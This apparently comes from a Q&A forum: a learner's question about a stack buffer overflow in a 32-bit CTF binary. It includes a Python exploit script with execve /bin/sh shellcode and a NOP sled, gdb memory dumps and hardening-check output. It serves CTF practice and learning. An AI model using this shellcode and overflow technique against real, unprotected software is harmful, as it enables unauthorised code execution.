I started learning about stack-smashing after it came up during a CTF exercise. I have been practicing on an ELF 32-bit executable that I received for the CTF.
After disassembling the binary file, I find that the program loads and writes out a prompt and then reads input without checking length, using syscalls (no library functions).
I poke at it a little and I find that the buffer holds 20 "A"s before crashing, so I fill the buffer, followed by the address to a nop-slide that leads into my code.
#!/usr/bin/env python2
import struct
pad = "\x41" * 20
EIP = struct.pack("I", 0xbffffebc)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# http://shell-storm.org/shellcode/files/shellcode-827.php
NOP = "\x90" * 5
print pad + EIP + NOP + shellcode
At first, the payload was just a syscall to write "ABCD" to screen, which triggered successfully.
(gdb) run < <(python2 ~/Scripts/crack.py)
Starting program: /root/Downloads/start < <(python2 ~/Scripts/crack.py)
Let's start the CTF:
Breakpoint 4, 0x0804809c in _start ()
(gdb) info frame
Stack level 0, frame at 0xbffffebc:
eip = 0x804809c in _start; saved eip = 0xbffffebc
Arglist at unknown address.
Locals at unknown address, Previous frame's sp is 0xbffffebc
Saved registers:
eip at 0xbffffeb8
(gdb) x/24x 0xbffffeb8-20
0xbffffea4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffeb4: 0x41414141 0xbffffebc 0x90909090 0xc0315490
0xbffffec4: 0xc931db31 0x4168d231 0x89444342 0xb305b2e1
0xbffffed4: 0xcd04b001 0x40c03180 0x000a80cd 0xb7fff868
0xbffffee4: 0x00000021 0xb7fff000 0x00000010 0x178bfbff
0xbffffef4: 0x00000006 0x00001000 0x00000011 0x00000064
(gdb) c
Continuing.
ABCD�[Inferior 1 (process 16256) exited with code 01]
I tried some shellcode next, with a call to execute /bin/sh, and it seems like the payload was loaded in, but, after running the code, no shell spawns.
(gdb) run < <(python2 ~/Scripts/crack.py)
Starting program: /root/Downloads/start < <(python2 ~/Scripts/crack.py)
Let's start the CTF:
Breakpoint 4, 0x0804809c in _start ()
(gdb) x/24x 0xbffffeb8-20
0xbffffea4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffeb4: 0x41414141 0xbffffebc 0x90909090 0x50c03190
0xbffffec4: 0x732f2f68 0x622f6868 0xe3896e69 0xe1895350
0xbffffed4: 0x80cd0bb0 0x0000000a 0x00000020 0xb7fff868
0xbffffee4: 0x00000021 0xb7fff000 0x00000010 0x178bfbff
0xbffffef4: 0x00000006 0x00001000 0x00000011 0x00000064
(gdb) info frame
Stack level 0, frame at 0xbffffebc:
eip = 0x804809c in _start; saved eip = 0xbffffebc
Arglist at unknown address.
Locals at unknown address, Previous frame's sp is 0xbffffebc
Saved registers:
eip at 0xbffffeb8
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffffed8 in ?? ()
(gdb) x/24i $eip-24
0xbffffec0: nop
0xbffffec1: xor %eax,%eax
0xbffffec3: push %eax
0xbffffec4: push $0x68732f2f
0xbffffec9: push $0x6e69622f
0xbffffece: mov %esp,%ebx
0xbffffed0: push %eax
0xbffffed1: push %ebx
0xbffffed2: mov %esp,%ecx
0xbffffed4: mov $0xb,%al
0xbffffed6: int $0x80
=> 0xbffffed8: or (%eax),%al
0xbffffeda: add %al,(%eax)
0xbffffedc: and %al,(%eax)
0xbffffede: add %al,(%eax)
The file is not stack-protected or position-independent.
hardening-check $(which /root/Downloads/start)
/root/Downloads/start:
Position Independent Executable: no, normal executable!
Stack protected: no, not found!
Fortify Source functions: unknown, no protectable libc functions used
Read-only relocations: no, not found!
Immediate binding: no, not found!
Stack clash protection: unknown, no -fstack-clash-protection instructions found
Control flow integrity: unknown, no -fcf-protection instructions found!
These are my only environment vars:
(gdb) show env
PWD=/root/Scripts
SHELL=/bin/bash
SHLVL=0
Obviously, I'm missing something and things aren't as simple as just getting the code to run. What could I do to get a shell to spawn given my constraints?